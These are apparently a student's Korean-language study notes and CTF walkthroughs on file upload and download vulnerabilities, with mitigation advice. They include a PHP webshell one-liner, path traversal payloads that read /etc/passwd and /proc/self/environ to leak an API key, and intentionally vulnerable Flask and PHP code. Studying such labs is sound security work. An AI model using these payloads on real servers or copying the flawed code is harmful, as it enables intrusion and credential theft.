

02/14) File Vulnerability (1)

파일 취약점

파일 업로드 기능이 존재하는 서비스를 제공할 때, 이용자가 업로드한 파일은 웹 서버에 저장하게 됨. 이때 임의 파일이 다운로드되는 등 파일을 내려받을 때 발생하는 취약점을 **파일 다운로드 취약점**(File Download Vulnerability), 악성 파일을 업로드하는 등 파일을 올릴 때 발생하는 취약점을 **파일 업로드 취약점**(File Upload Vulnerability)라고 함.

파일 업로드 취약점

파일 업로드 취약점은 이용자가 업로드 될 파일 이름을 정할 수 있을 때 발생 크게 Path Traversal과 악성 파일 업로드로 분류

Path Traversal

보통 서비스는 특정 디렉토리에만 파일 업로드가 가능하게 만들어 두는데, 이용자가 파일 이름을 입력할 수 있는 경우, 그리고 그 값을 검증하지 않는 경우 이를 이용해 임의의 디렉토리에 파일을 업로드할 수 있음. 그러면 시스템의 중요한 파일을 덮어쓰는 등의 문제 발생 가능성 존재.

아래 예시에서, 만약 파일 이름에 `../` 를 넣으면 상위 디렉토리에 저장하게 됨

```
from flask import Flask, request
app = Flask(__name__)
@app.route('/fileUpload', methods = ['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        f = request.files['file']
        # 이용자가 입력한 filename을 그대로 저장
        f.save("./uploads/" + f.filename)
        return 'Upload Success'
    else:
        return """
        <form action="/fileUpload" method="POST" enctype="multipart/form-data">
        <input type="file" name="file" />
        <input type="submit"/>
        """
```

```
</form>
"""
if __name__ == '__main__':
    app.run()
```

악성 파일 업로드

이용자가 파일을 업로드할 때 제대로 검사하지 않아서 생기는 취약점

웹 서버는 `.php`, `.jsp`, `.asp` 와 같은 확장자를 가진 파일을 CGI에서 실행해서 브라우저로 반환함.

예시로, 밑의 코드는 아파치 설정 파일 중 하나인데 파일 확장자가 정규표현식을 만족하는 경우 `x-httpd-php` 로 핸들링하여 요청 파일을 실행한 후 반환.

만약 공격자가 임의의 php 파일을 업로드하여 GET 요청을 보낸다면 CGI에 의해 해당 코드가 실행되도록 할 수 있음.

웹 브라우저는 파일의 확장자나 응답의 Content-type에 따라 요청을 다르게 처리함. 예를 들어 확장자가 `.html` 이거나 Content-type이 text/html일 경우 html 엔진으로 처리. 이미지인 경우에도 마찬가지.

만약 공격자가 서버에 exploit.html을 업로드한 뒤 해당 파일에 접근하는 URL을 `https://~/./exploit.html` 과 같이 업로드하면 브라우저는 이를 html로 해석하여 실행하게 됨.

(html로 해석되는 거랑 실행하는 거랑 뭔 상관??)

웹셸 업로드 예시

```
<?php system("ls"); system($_GET[x]);?>
```

File Download Vulnerability

파일 다운로드 취약점은 웹 서버에서 파일을 직접 내려받는 과정에서 발생하는 취약점. 이용자가 다운로드할 파일의 이름을 정할 수 있을 때 발생.

웹 서비스는 지정된 경로에 있는 파일만 다운받을 수 있게 해야 하는데, Path Traversal은 파일 이름을 이용해 다른 디렉토리의 파일을 다운받는 것.

취약점이 자주 발생하는 URL 패턴

<https://vulnerable-web.dreamhack.io/download/?filename=notes.txt>

\https://vulnerable-web.dreamhack.io/download/?
filename=../../../../../../etc/passwd

\https://vulnerable-web.dreamhack.io/images.php?
fn=6ed0dd02806fa89e233b84f4.png

실습

```
Path > ../../../../proc/self/environ
```

```
Full path: /proc/self/environ
```

```
SHELL=/bin/bash
```

```
USER=dreamhack
```

```
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sb
```

```
PWD=/app/src
```

```
HOME=/home/dreamhack
```

```
OLDPWD=/app
```

보안 해결책

- 업로드 취약점: 업로드 디렉토리를 웹 서버에서 직접 접근할 수 없게 하거나 업로드 디렉토리에서는 CGI가 실행되지 않도록 함. 업로드된 파일 이름을 basepath와 같은 함수로 검증한 후 사용. 허용할 확장자 명시
- 다운로드 취약점: 요청된 파일 이름을 basepath 같은 함수로 검증하거나 파일 이름과 일대일 맵핑되는 키를 만들어 이용자가 키를 요청하도록 함.

함께하기 - image-storage

upload.php 코드

업로드된 파일을 uploads 폴더에 복사

파일에 대해 아무런 검사도 하지 않음

`http://host1.dreamhack.games:[PORT]/uploads/[FILENAME]` 을 통해 업로드한 파일에 접근할 수 있음

```

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES)) {
        $directory = './uploads/';
        $file = $_FILES["file"];
        $error = $file["error"];
        $name = $file["name"];
        $tmp_name = $file["tmp_name"];

        if ( $error > 0 ) {
            echo "Error: " . $error . "<br>";
        }else {
            if (file_exists($directory . $name)) {
                echo $name . " already exists. ";
            }else {
                if(move_uploaded_file($tmp_name, $directory . $name)){
                    echo "Stored in: " . $directory . $name;
                }
            }
        }else {
            echo "Error !";
        }
        die();
    }
}
?>

```

익스플로잇

1. webshell 코드를 포함한 파일을 업로드한다.
2. url로 해당 디렉토리에 방문하면 php 파일이 실행되며 쉘 획득
3. cat /flag.txt로 플래그 열어보기

함께 실습 - file-download-1

파일을 업로드하는 upload 페이지와 업로드한 파일을 읽어주는 read 페이지가 있음.
upload 페이지에서는 제목을 filename으로 받고, filename에 '..'가 들어가는지 검사. => upload vulnerability는 이용할 수 없음
read 페이지에서는 게시글 제목을 읽어오고, url에 있는 name 파라미터에 전달된 제목을 filename으로 가져와 내용을 보여줌
그런데 이때 아무런 검사도 하지 않음 => file download vulnerability 존재

```
@APP.route('/read')
def read_memo():
    error = False
    data = b''

    filename = request.args.get('name', '')

    try:
        with open(f'{UPLOAD_DIR}/{filename}', 'rb') as f:
            data = f.read()
    except (IsADirectoryError, FileNotFoundError):
        error = True

    return render_template('read.html',
                           filename=filename,
                           content=data.decode('utf-8'),
                           error=error)
```

따라서 아무 글이나 올린 다음, read 페이지로 들어가 name 파라미터에 flag.py를 읽는 인자를 전달

```
?name=../flag.py
```

참고자료

[Acunetix - php web shell](#)

추가문제 1 - File Vulnerability advanced for linux

```
import os, subprocess
from functools import wraps
from flask import Flask, request

app = Flask(__name__)
#환경변수 API_KEY를 얻어 API_KEY에 저장
API_KEY = os.environ.get('API_KEY', None)

def key_required(view):
    #wraps 함수 자료 참고
    @wraps(view)
    def wrapped_view(**kwargs):
        apikey = request.args.get('API_KEY', None)
        if API_KEY and apikey:
            #api_key가 일치할 경우
            if apikey == API_KEY:
                return view(**kwargs)
            return 'Access Denied !'
        return wrapped_view

@app.route('/', methods=['GET'])
def index():
    return 'API Index'

@app.route('/file', methods=['GET'])
def file():
    # path에 전해진 인자를 path 변수에 저장
    path = request.args.get('path', None)
    # ./files/path 읽음
    if path:
        data = open('./files/' + path).read()
        return data
```

```

        return 'Error !'

@app.route('/admin', methods=['GET'])
# api_key 검증?
@key_required
def admin():
    cmd = request.args.get('cmd', None)
    if cmd:
        result = subprocess.getoutput(cmd)
        return result
    else:
        return 'Error !'

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True)

```

코드 구조

- /file: path 인자를 받아 해당 경로의 파일을 읽음 → path 검사 안함. 취약점 존재
- /admin: api_key를 검증하고 cmd 인자를 받아 쉘에서 실행시킴 → 애도 검사 안함

관리자 권한을 얻으려면 환경변수를 알아야겠구나!

-> 리눅스 환경변수 저장 위치 검색

-> ../../etc/profile 쳐봤는데 환경변수는 안나옴

-> ../../etc/environment에도 아무것도 안나옴!!!

-> (구글링) ../../proc/self/environ에 존재!! 참고자료에 기재함

API_KEY=d22cb18e86fc9e23996650150461c9f794ad3a4f 획득

-> admin에서 API_KEY 전달하고 cmd에 /flag 전달

나는 flag를 직접 찾아야 하는 줄 알았는데 그냥 /flag만 입력해도 되는 거였음
(왜지??)

리눅스 파일구조에 대한 이해가 필요함

참고자료

wrapped 함수

리눅스 proc 디렉토리